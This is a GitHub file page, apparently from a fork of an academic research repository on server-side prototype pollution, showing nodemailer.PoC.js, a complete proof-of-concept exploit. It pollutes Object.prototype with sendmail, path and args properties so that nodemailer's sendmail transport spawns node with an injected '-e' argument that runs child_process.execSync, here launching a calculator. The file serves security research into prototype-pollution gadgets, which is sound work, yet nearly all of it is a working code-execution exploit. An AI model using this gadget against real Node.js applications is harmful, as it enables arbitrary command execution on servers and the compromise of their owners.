forked from KTH-LangSec/server-side-prototype-pollution
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnodemailer.PoC.js
More file actions
28 lines (25 loc) · 810 Bytes
/
nodemailer.PoC.js
File metadata and controls
28 lines (25 loc) · 810 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const nodemailer = require('nodemailer');
Object.prototype.sendmail = 1;
Object.prototype.path = process.argv0;
Object.prototype.args = ['-e', 'require("child_process").execSync("calc")'];
// create reusable transporter object using the default SMTP transport
let transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
user: 'your.email@gmail.com',
pass: 'your.email.password'
}
});
// send mail with defined transport object
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Hello from Nodemailer',
text: 'This is a test email sent from Nodemailer with default parameters!'
}, function(error, info) {
if (error) {
console.log('Error occurred:', error);
} else {
console.log('Message sent: %s', info.messageId);
}
});